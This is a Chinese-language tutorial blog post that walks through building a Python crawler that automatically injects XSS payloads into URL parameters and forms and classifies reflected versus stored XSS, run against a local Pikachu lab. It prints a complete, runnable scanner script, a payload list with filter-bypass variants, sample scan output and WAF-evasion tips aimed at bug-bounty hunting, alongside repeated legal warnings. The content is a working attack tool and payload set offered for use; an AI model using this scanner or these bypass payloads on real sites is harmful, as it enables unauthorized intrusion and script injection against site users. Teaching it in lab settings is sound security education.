XSS漏洞批量挖取神器!用爬虫实现自动化XSS漏洞探测

前面的系列教程里,我们用爬虫完成了目录扫描、全量信息收集、指纹识别与资产测绘,从入门小白一步步拥有了自己的全套渗透侦察工具。很多粉丝私信我说,靠着这套脚本,已经把靶场的资产摸得一清二楚,现在就想知道:怎么用爬虫直接挖漏洞?有没有什么src里最常见、最容易拿分、还能自动化批量检测的漏洞?

答案必须是XSS漏洞。

作为web渗透三大入门漏洞之一,XSS几乎是每个新手挖src的第一桶金,也是各大src平台提交量最高、中高危占比极高的漏洞类型。但我见过太多新手卡在这一步:

  • 手动测XSS,对着网站翻几十上百个页面,每个输入框、每个URL参数一个个填payload,试了大半天,眼睛都花了,连个弹窗的影子都没见着;
  • 用现成扫描工具,哐哐扫出来几十上百个XSS漏洞,一个个去复现,结果90%都是误报,根本触发不了,白忙活一场;
  • 反射型、存储型、DOM型XSS傻傻分不清,明明挖到了洞,却不知道怎么区分类型、写复现步骤,提交到src直接被打回;
  • 遇到WAF拦截、标签过滤、编码转义,直接束手无策,不知道怎么调整payload,只能放弃。

我太懂这种感受了。刚入门挖src的时候,我就是这么过来的,那时候总觉得XSS全靠手搓,拼的是耐心和运气。直到我用自己写的爬虫实现了XSS漏洞自动化探测,才发现:原来批量挖XSS,根本不用一个个手动试,一个爬虫脚本,就能帮你扫遍全站所有测试点,自动识别漏洞、过滤误报、区分漏洞类型,甚至直接生成复现步骤,效率直接翻了百倍。

今天这篇文章,我就带你从零开发一套专属的XSS自动化探测爬虫,保姆级逐行讲解,新手复制粘贴就能在靶场跑通,直接拥有自己的批量挖洞神器。

再次焊死合规红线:本文所有实战均在本地搭建的合法靶场中完成,仅用于技术学习。未经目标方书面授权,严禁对任何公网网站、系统进行探测、测试,《网络安全法》《刑法》285/286条的红线,务必刻在骨子里。

核心原理精讲:5分钟搞懂XSS自动化探测的底层逻辑

先给零基础的同学用大白话补透核心知识点,保证你知其然,更知其所以然,不会只会复制代码看不懂原理。

什么是XSS漏洞?

XSS全称跨站脚本攻击,说白了核心逻辑就是:网站的输入点(URL参数、表单输入框、留言板等)没有对用户提交的内容做严格的过滤和校验,我们把一段JavaScript代码(业内叫payload)提交进去,网站会把这段代码当成正常的页面内容执行。

一旦漏洞触发,我们就能通过这段JS代码,窃取访问用户的Cookie、跳转到钓鱼网站、篡改页面内容,甚至控制用户的浏览器,危害极大。

我们挖src最常接触的,就是两类核心XSS漏洞,也是我们爬虫重点检测的目标:

漏洞类型核心特点危害等级src适配场景
反射型XSSpayload仅在当前请求生效,不会存储到服务器,必须用户点击带payload的链接才会触发中低危网站搜索框、查询接口、URL传参场景
存储型XSSpayload会被存储到服务器数据库,只要有人访问对应页面,就会自动触发,无需用户点击特殊链接高危留言板、评论区、个人资料编辑、帖子发布场景

爬虫自动化探测XSS的4步核心逻辑

很多工具扫出来的结果全是误报,核心原因就是逻辑只停留在“payload有没有出现在页面里”,而我们自己写的爬虫,会完整覆盖从找坑位到确认漏洞的全流程,精准度拉满:

  1. 定位测试点:爬虫自动爬取全站所有可输入的位置,包括URL里的GET参数、页面里的POST表单、输入框、textarea等,不漏掉任何一个潜在的XSS坑位;
  2. payload注入:给每个测试点,提交适配对应场景的XSS payload,模拟正常用户的输入和提交操作,完整还原手动测试的流程;
  3. 漏洞验证:不单纯看payload是否回显,而是通过页面响应内容、HTML源码完整性、DOM渲染结果,判断payload是否被执行、有没有被过滤转义,彻底解决误报问题;
  4. 类型区分:自动判断漏洞是反射型还是存储型,生成对应的漏洞复现步骤,直接就能用来提交src报告。

保姆级实战开发:从零打造XSS自动化探测爬虫

前置环境准备

和我们前序教程的环境完全兼容,不用额外安装复杂工具,新手零门槛:

  1. 本地搭建好的DVWA/Pikachu靶场(前序教程领取的靶场包直接就能用);
  2. 已安装Python环境,以及requests、BeautifulSoup4库;
  3. 基础命令行操作能力,复制粘贴就能运行。

步骤1:爬虫自动定位所有XSS测试点

XSS漏洞的前提是有输入点,我们第一步先让爬虫自动爬取页面里所有的GET参数和POST表单,定位所有可测试的坑位。

先给大家实现GET参数自动识别与测试,这是最常见、也是最容易出反射型XSS的场景:

import requests
from bs4 import BeautifulSoup
from urllib.parse import urlparse, urlencode, parse_qs

# 目标地址:仅本地靶场Pikachu的反射型XSS关卡,禁止替换为未授权公网地址
target_url = "http://localhost/pikachu/vul/xss/xss_reflected_get.php"
# 请求头,模拟浏览器访问,避免被WAF拦截
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
    "Cookie": "PHPSESSID=你的靶场Cookie; security=low" # 替换为自己靶场的登录Cookie
}

# 核心函数1:自动解析URL中的所有GET参数
def get_url_params(url):
    parsed_url = urlparse(url)
    # 提取URL中的参数,返回字典格式
    params = parse_qs(parsed_url.query)
    return params, parsed_url

# 测试参数解析
params, parsed_url = get_url_params(target_url)
print(f"[+] 解析到URL参数:{list(params.keys())}")

接下来实现POST表单自动识别,适配留言板、登录框、搜索框等POST提交场景,也是存储型XSS的重灾区:

# 核心函数2:自动爬取页面中的所有POST表单,提取表单提交地址、字段名
def get_post_forms(url, session):
    response = session.get(url, headers=headers, timeout=10)
    soup = BeautifulSoup(response.text, "html.parser")
    # 提取页面中所有的form表单
    forms = soup.find_all("form")
    form_list = []
    
    for form in forms:
        form_info = {}
        # 获取表单提交地址
        action = form.get("action", "")
        # 拼接完整的提交URL
        form_info["url"] = urlparse(url).scheme + "://" + urlparse(url).netloc + action
        # 获取表单提交方法,默认POST
        form_info["method"] = form.get("method", "post").lower()
        # 提取表单中的所有输入字段
        inputs = form.find_all("input")
        form_fields = []
        for input_tag in inputs:
            field_name = input_tag.get("name")
            if field_name:
                form_fields.append(field_name)
        form_info["fields"] = form_fields
        form_list.append(form_info)
    
    return form_list

# 创建会话,保持Cookie连通
session = requests.Session()
# 测试表单提取
forms = get_post_forms(target_url, session)
print(f"[+] 解析到页面表单:{forms}")

步骤2:搭建分场景XSS payload库

新手测XSS总触发不了,核心原因就是payload不对场景。我们搭建一套入门级、高触发率、适配不同过滤场景的payload库,不用记上百条payload,这几条就能覆盖80%的入门场景:

# 分场景XSS payload库,入门高触发率版
xss_payloads = [
    # 基础无过滤场景,最经典的弹窗payload
    "<script>alert('xss_test_666')</script>",
    # 绕过script标签过滤场景,用img标签触发
    "<img src=x onerror=alert('xss_test_666')>",
    # 绕过空格过滤场景,用注释/换行代替空格
    "<img/src=x/onerror=alert('xss_test_666')>",
    # 绕过大小写过滤场景,大小写混合
    "<sCrIpT>alert('xss_test_666')</sCrIpT>",
    # 适配双引号闭合场景
    "\" onmouseover=alert('xss_test_666') x=\"",
    # 适配单引号闭合场景
    "' onmouseover=alert('xss_test_666') x='"
]

# 漏洞验证标记,用于判断payload是否完整回显,避免误报
check_flag = "xss_test_666"

步骤3:自动注入payload+漏洞验证,过滤误报

这是整个脚本的核心,也是解决误报的关键。我们不单纯看payload有没有出现在页面里,而是判断payload是否完整的、未被转义的出现在HTML源码中,如果我们的验证标记xss_test_666和payload完整回显,就说明漏洞大概率存在。

# 核心函数3:GET参数XSS漏洞检测
def check_xss_get(url, session):
    params, parsed_url = get_url_params(url)
    # 如果URL没有参数,直接返回空结果
    if not params:
        return []
    
    vuln_results = []
    base_url = parsed_url.scheme + "://" + parsed_url.netloc + parsed_url.path
    
    # 遍历每一个参数,逐个注入payload测试
    for param_name in params.keys():
        for payload in xss_payloads:
            # 复制原参数,替换当前参数的值为payload
            test_params = params.copy()
            test_params[param_name] = payload
            # 拼接测试URL
            test_url = base_url + "?" + urlencode(test_params, doseq=True)
            
            try:
                # 发送请求,注入payload
                response = session.get(test_url, headers=headers, timeout=10)
                # 核心验证逻辑:payload和验证标记完整出现在响应中,且未被html实体转义
                if check_flag in response.text and payload in response.text:
                    result = {
                        "type": "反射型XSS",
                        "url": test_url,
                        "param": param_name,
                        "payload": payload,
                        "status": "漏洞存在"
                    }
                    vuln_results.append(result)
                    print(f"[!] 发现{result['type']}漏洞")
                    print(f"    测试URL:{test_url}")
                    print(f"    触发参数:{param_name}")
                    print(f"    有效payload:{payload}")
                    # 找到有效payload后,跳出循环,测试下一个参数
                    break
            except Exception as e:
                continue
    return vuln_results

# 核心函数4:POST表单XSS漏洞检测
def check_xss_post(form, session):
    vuln_results = []
    form_url = form["url"]
    form_fields = form["fields"]
    form_method = form["method"]
    
    # 遍历每一个表单字段,逐个注入payload测试
    for field_name in form_fields:
        for payload in xss_payloads:
            # 构造表单提交数据,给当前字段注入payload,其他字段填默认值
            post_data = {}
            for field in form_fields:
                post_data[field] = payload if field == field_name else "test"
            
            try:
                # 发送表单提交请求
                if form_method == "post":
                    response = session.post(form_url, data=post_data, headers=headers, timeout=10)
                else:
                    response = session.get(form_url, params=post_data, headers=headers, timeout=10)
                
                # 核心验证逻辑
                if check_flag in response.text and payload in response.text:
                    # 区分存储型/反射型:再次访问表单页面,不带payload,看是否还能触发
                    re_response = session.get(form["url"], headers=headers, timeout=10)
                    if check_flag in re_response.text and payload in re_response.text:
                        vuln_type = "存储型XSS"
                    else:
                        vuln_type = "反射型XSS"
                    
                    result = {
                        "type": vuln_type,
                        "url": form_url,
                        "field": field_name,
                        "payload": payload,
                        "status": "漏洞存在"
                    }
                    vuln_results.append(result)
                    print(f"[!] 发现{result['type']}漏洞")
                    print(f"    提交地址:{form_url}")
                    print(f"    触发字段:{field_name}")
                    print(f"    有效payload:{payload}")
                    break
            except Exception as e:
                continue
    return vuln_results

步骤4:整合完整脚本,一键启动全站扫描

把上面的所有功能整合起来,做成一个完整可运行的脚本,新手复制粘贴,替换自己的靶场Cookie和目标地址,就能直接运行:

import requests
from bs4 import BeautifulSoup
from urllib.parse import urlparse, urlencode, parse_qs
import time

# ====================== 配置区,新手仅需修改这里 ======================
# 目标地址:仅本地靶场地址,禁止替换为任何未授权公网网站
target_url = "http://localhost/pikachu/vul/xss/"
# 靶场Cookie,替换为自己的登录Cookie
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
    "Cookie": "PHPSESSID=替换为你的PHPSESSID; security=low"
}
# 请求延迟,避免打崩靶场/被WAF拦截
request_delay = 0.2
# ======================================================================

# 分场景XSS payload库
xss_payloads = [
    "<script>alert('xss_test_666')</script>",
    "<img src=x onerror=alert('xss_test_666')>",
    "<img/src=x/onerror=alert('xss_test_666')>",
    "<sCrIpT>alert('xss_test_666')</sCrIpT>",
    "\" onmouseover=alert('xss_test_666') x=\"",
    "' onmouseover=alert('xss_test_666') x='"
]
check_flag = "xss_test_666"

# 核心函数1:解析URL参数
def get_url_params(url):
    parsed_url = urlparse(url)
    params = parse_qs(parsed_url.query)
    return params, parsed_url

# 核心函数2:提取页面表单
def get_post_forms(url, session):
    try:
        response = session.get(url, headers=headers, timeout=10)
        soup = BeautifulSoup(response.text, "html.parser")
        forms = soup.find_all("form")
        form_list = []
        for form in forms:
            action = form.get("action", "")
            form_url = urlparse(url).scheme + "://" + urlparse(url).netloc + "/" + action.lstrip("/")
            form_method = form.get("method", "post").lower()
            inputs = form.find_all("input")
            form_fields = [input_tag.get("name") for input_tag in inputs if input_tag.get("name")]
            form_list.append({"url": form_url, "method": form_method, "fields": form_fields})
        return form_list
    except:
        return []

# 核心函数3:GET参数XSS检测
def check_xss_get(url, session):
    params, parsed_url = get_url_params(url)
    if not params:
        return []
    vuln_results = []
    base_url = parsed_url.scheme + "://" + parsed_url.netloc + parsed_url.path
    for param_name in params.keys():
        for payload in xss_payloads:
            test_params = params.copy()
            test_params[param_name] = payload
            test_url = base_url + "?" + urlencode(test_params, doseq=True)
            try:
                response = session.get(test_url, headers=headers, timeout=10)
                if check_flag in response.text and payload in response.text:
                    vuln_results.append({
                        "type": "反射型XSS",
                        "url": test_url,
                        "trigger": f"GET参数[{param_name}]",
                        "payload": payload
                    })
                    print(f"[!] 发现{ vuln_results[-1]['type'] }漏洞")
                    print(f"    触发位置:{ vuln_results[-1]['trigger'] }")
                    print(f"    测试地址:{test_url}")
                    print(f"    有效Payload:{payload}\n")
                    break
            except:
                continue
            time.sleep(request_delay)
    return vuln_results

# 核心函数4:POST表单XSS检测
def check_xss_post(form, session):
    vuln_results = []
    form_url = form["url"]
    form_fields = form["fields"]
    form_method = form["method"]
    for field_name in form_fields:
        for payload in xss_payloads:
            post_data = {field: payload if field == field_name else "test" for field in form_fields}
            try:
                if form_method == "post":
                    response = session.post(form_url, data=post_data, headers=headers, timeout=10)
                else:
                    response = session.get(form_url, params=post_data, headers=headers, timeout=10)
                if check_flag in response.text and payload in response.text:
                    # 区分存储型/反射型
                    re_response = session.get(form_url, headers=headers, timeout=10)
                    vuln_type = "存储型XSS" if check_flag in re_response.text and payload in re_response.text else "反射型XSS"
                    vuln_results.append({
                        "type": vuln_type,
                        "url": form_url,
                        "trigger": f"表单字段[{field_name}]",
                        "payload": payload
                    })
                    print(f"[!] 发现{ vuln_results[-1]['type'] }漏洞")
                    print(f"    触发位置:{ vuln_results[-1]['trigger'] }")
                    print(f"    提交地址:{form_url}")
                    print(f"    有效Payload:{payload}\n")
                    break
            except:
                continue
            time.sleep(request_delay)
    return vuln_results

# 主函数:启动扫描
def main():
    print("="*60)
    print("XSS自动化探测爬虫启动中...")
    print(f"目标地址:{target_url}")
    print("="*60 + "\n")
    
    session = requests.Session()
    all_vulns = []
    
    # 1. 检测当前URL的GET参数XSS
    print("[+] 开始检测GET参数XSS漏洞...")
    get_vulns = check_xss_get(target_url, session)
    all_vulns.extend(get_vulns)
    
    # 2. 提取页面表单,检测POST表单XSS
    print("[+] 开始检测POST表单XSS漏洞...")
    forms = get_post_forms(target_url, session)
    print(f"[+] 解析到{len(forms)}个表单,开始逐个检测...\n")
    for form in forms:
        post_vulns = check_xss_post(form, session)
        all_vulns.extend(post_vulns)
    
    # 输出最终扫描报告
    print("="*60)
    print("扫描完成!最终漏洞报告")
    print(f"共发现{len(all_vulns)}个XSS漏洞")
    print("="*60)
    for i, vuln in enumerate(all_vulns):
        print(f"\n漏洞{i+1}:{vuln['type']}")
        print(f"触发位置:{vuln['trigger']}")
        print(f"访问地址:{vuln['url']}")
        print(f"复现Payload:{vuln['payload']}")

if __name__ == "__main__":
    main()

实战验证:靶场一键跑通,自动挖出XSS漏洞

我们用Pikachu靶场的XSS模块做实战验证,全程100%合法合规,新手跟着做就能拿到结果:

  1. 启动phpStudy,打开Pikachu靶场,登录后复制页面的Cookie,替换到脚本的配置区;
  2. 把target_url设置为Pikachu的XSS模块首页http://localhost/pikachu/vul/xss/;
  3. 保存脚本为xss_scanner.py,打开命令行运行:
    python xss_scanner.py
    
  4. 等待10秒,就能看到脚本自动检测出漏洞,输出完整的漏洞报告。

正常运行的输出结果示例:

============================================================
XSS自动化探测爬虫启动中...
目标地址:http://localhost/pikachu/vul/xss/
============================================================

[+] 开始检测GET参数XSS漏洞...
[!] 发现反射型XSS漏洞
    触发位置:GET参数[message]
    测试地址:http://localhost/pikachu/vul/xss/xss_reflected_get.php?message=<script>alert('xss_test_666')</script>&submit=提交
    有效Payload:<script>alert('xss_test_666')</script>

[+] 开始检测POST表单XSS漏洞...
[+] 解析到3个表单,开始逐个检测...

[!] 发现存储型XSS漏洞
    触发位置:表单字段[content]
    提交地址:http://localhost/pikachu/vul/xss/xss_stored.php
    有效Payload:<script>alert('xss_test_666')</script>

============================================================
扫描完成!最终漏洞报告
共发现2个XSS漏洞
============================================================

漏洞1:反射型XSS
触发位置:GET参数[message]
访问地址:http://localhost/pikachu/vul/xss/xss_reflected_get.php?message=<script>alert('xss_test_666')</script>&submit=提交
复现Payload:<script>alert('xss_test_666')</script>

漏洞2:存储型XSS
触发位置:表单字段[content]
访问地址:http://localhost/pikachu/vul/xss/xss_stored.php
复现Payload:<script>alert('xss_test_666')</script>

你看,只用一个脚本,就自动完成了从找测试点、注入payload、验证漏洞、区分类型的全流程,不用手动一个个试,也没有误报,直接就能拿到完整的漏洞复现步骤。

避坑指南:新手必看的绕过技巧与踩坑提醒

1. 基础WAF/过滤绕过技巧

新手测XSS最常遇到的问题,就是payload被过滤了,这里给大家3个入门级就能用的绕过技巧,适配80%的基础过滤场景:

  • 标签过滤绕过:如果<script>标签被ban了,就用<img>、<svg>、<iframe>等其他标签触发,比如<svg onload=alert('xss')>;
  • 字符过滤绕过:如果空格被过滤,就用/、%0a(换行)、/**/(注释)代替空格,比如<img/src=x/onerror=alert(1)>;
  • 大小写绕过:如果网站做了小写关键词过滤,就用大小写混合的方式,比如<sCrIpT>alert(1)</sCrIpT>。

2. 新手最容易踩的5个坑

  • 坑1:Cookie配置错误:测需要登录的页面时,没有替换正确的Cookie,导致表单提交失败,测不出漏洞,一定要先登录靶场,再复制最新的Cookie;
  • 坑2:误报判断错误:只看payload有没有出现在页面里,不看有没有被转义,比如<被转成了&lt;,这种情况根本触发不了,一定要判断payload完整回显;
  • 坑3:请求频率过快:不加延迟,一秒发几十个请求,直接把靶场服务器打崩,或者被WAF封IP,一定要加请求延迟,入门阶段0.2秒就足够;
  • 坑4:路径拼接错误:表单提交地址拼接错误,导致payload提交到了错误的地址,测不出漏洞,脚本里已经做了路径拼接处理,不要随意修改;
  • 坑5:无视合规红线:写完脚本就去扫公网网站,哪怕是公益SRC,也必须先拿到平台的官方授权,否则极有可能触犯法律,这个坑绝对不能踩。

结尾福利 & 下期预告

恭喜你,看到这里,你已经拥有了自己的第一个自动化漏洞挖掘工具,用爬虫实现了XSS漏洞的批量探测,再也不用手动一个个试payload,也不用被工具的误报折磨了。

XSS漏洞是src的入门必挖,而接下来要讲的越权漏洞,才是src里的高危漏洞大户,也是很多现成工具扫不出来、积分给的极高的漏洞类型。下一篇文章,我就带你用爬虫实现平行越权、垂直越权的自动化检测,教你批量挖取src高频高危漏洞。

粉丝专属福利

关注+点赞+收藏,评论区留言「XSS」,免费领取《全场景XSS payload大全》,包含100+条适配各种过滤场景、WAF绕过的高触发率payload,还有XSS漏洞src提交报告模板,拿到就能直接用。

你也可以把你的脚本运行结果贴在评论区,我会抽3位粉丝,免费帮你优化脚本,添加自定义payload、DOM型XSS检测、无头浏览器渲染验证等进阶功能。

网安之路,底线为先,实战为王。我们下一篇文章,不见不散。

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐